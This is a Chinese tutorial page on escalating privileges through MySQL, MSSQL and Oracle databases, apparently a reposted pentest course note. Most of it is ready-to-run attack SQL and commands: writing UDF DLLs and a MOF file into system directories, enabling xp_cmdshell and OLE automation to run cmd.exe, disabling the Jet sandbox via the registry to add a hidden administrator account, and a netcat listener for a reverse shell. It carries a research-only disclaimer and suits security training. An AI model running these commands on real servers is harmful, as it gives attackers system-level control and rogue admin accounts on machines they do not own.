php arduino pagination 后台页面模板 spark大数据处理技术 plsql连接mysql数据库 xshell搭建ss mysql删除存储过程 python当前日期 python文件读取 python如何定义变量 python服务器开发 javalabel java语言 java的运行环境 linux系统如何安装 javascript源代码 战地2单机地图 navicat注册机 kms神龙 免费的视频剪辑 js获取父节点 自动喊话器 mpg格式转换 位置不可用 微信公众号点餐系统 hdcp是什么 0000008e ps祛痘 华为工具箱 top命令详解 js压缩图片 图片批处理 dnf女柔道加点 wps脚注 大家来goldwave使用教程 ie内核修复 徐静蕾字体 Xftp 和彩云是什么
当前位置: 首页 > 学习教程  > 编程语言

60 权限提升-MYMSORA等SQL数据库提权

2021/1/13 19:30:28 文章标签: 测试文章如有侵权请发送至邮箱809451989@qq.com投诉后文章立即删除

免责声明: 内容仅用于技术研究,禁止使用文章中的技术进行非法行为,如利用文章中技术进行非法行为造成的后果与本文作者无关。 在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件…

免责声明: 内容仅用于技术研究,禁止使用文章中的技术进行非法行为,如利用文章中技术进行非法行为造成的后果与本文作者无关。

在这里插入图片描述
  在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码。除Access数据库外,其他数据库基本都存在数据库提权的可能。

#数据库应用提权在权限提升中的意义
#WEB或本地环境如何探针数据库应用
#数据库提权权限用户密码收集等方法
#目前数据库提权对应的技术及方法等

在这里插入图片描述
演示案例:

➢ Mysql数据库提权演示-脚本&MSF
在这里插入图片描述
圈起来的为root账号密码的MD5值,在线网站解密试试。

#案例:MYSQL数据库提权演示-脚本&MSF
流程:服务探针-信息收集-提权利用-获取权限

1.UDF提权知识点:(基于MYSQL调用命令执行函数)
读取网站数据库配置文件(了解其命名规则及查找技巧)
sql data inc config conn database common include等

读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
@@basedir/data/数据库名/表名.myd

利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联)
远程本地暴力猜解,服务器本地暴力猜解
利用自定义执行函数导出dll文件进行命令执行
select version() select @@basedir

手工创建plugin目录或利用NTFS流创建 
select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
1.mysql<5.1 导出目录c:/windows或system32
2.mysql=>5.1 导出安装目录/lib/plugin/

2.MOF知识点:(基于MYSQL特性的安全问题)
导出自定义mof文件到系统目录加载
https://www.cnblogs.com/xishaonian/p/6384535.html
select load_file('C:/phpStudy/PHPTutorial/WWW/user_add.mof
') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

3.启动项知识点:(基于配合操作系统自启动)
导出自定义可执行文件到启动目录配合重启执行
将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!

4.反弹知识点:(基于利用反弹特性命令执行)
nc -l -p 5577

➢ Mssql数据库提权演示-连接客户端

#案例:MSSQL数据库提权演示-MSSQL客户端
流程:服务探针-信息收集-提权利用-获取权限

1.使用xp_cmdshell进行提权
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
执行:
EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

2.使用sp_oacreate进行提权
主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。
启用:
EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 0;   
RECONFIGURE WITH OVERRIDE;  
执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

3.使用SQL Server 沙盒提权
参考资料:https://blog.51cto.com/11797152/2411770
exec sp_configure 'show advanced options',1;reconfigure; 
-- 不开启的话在执行xp_regwrite会提示让我们开启,
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; 
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode' 
--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') 
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式SandBoxMode参数含义(默认是2)
`0`:在任何所有者中禁止启用安全模式
`1` :为仅在允许范围内
`2` :必须在access模式下
`3`:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
--恢复配置
--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; 
--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure; 
--exec sp_configure 'show advanced options',0;reconfigure;

➢ Oracle数据库提权演示-自动化工具

普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,
并以oracle实例运行的权限执行操作系统命令。

DBA用户模式:(自动化工具演示)
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。

注入提升模式:(sqlmap测试演示)
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。

涉及资源:
https://pan.baidu.com/s/1pcrnxFox0pJaRVgOue1VOQ 提取码:xiao


本文链接: http://www.dtmao.cc/news_show_600088.shtml

附件下载

相关教程

    暂无相关的数据...

共有条评论 网友评论

验证码: 看不清楚?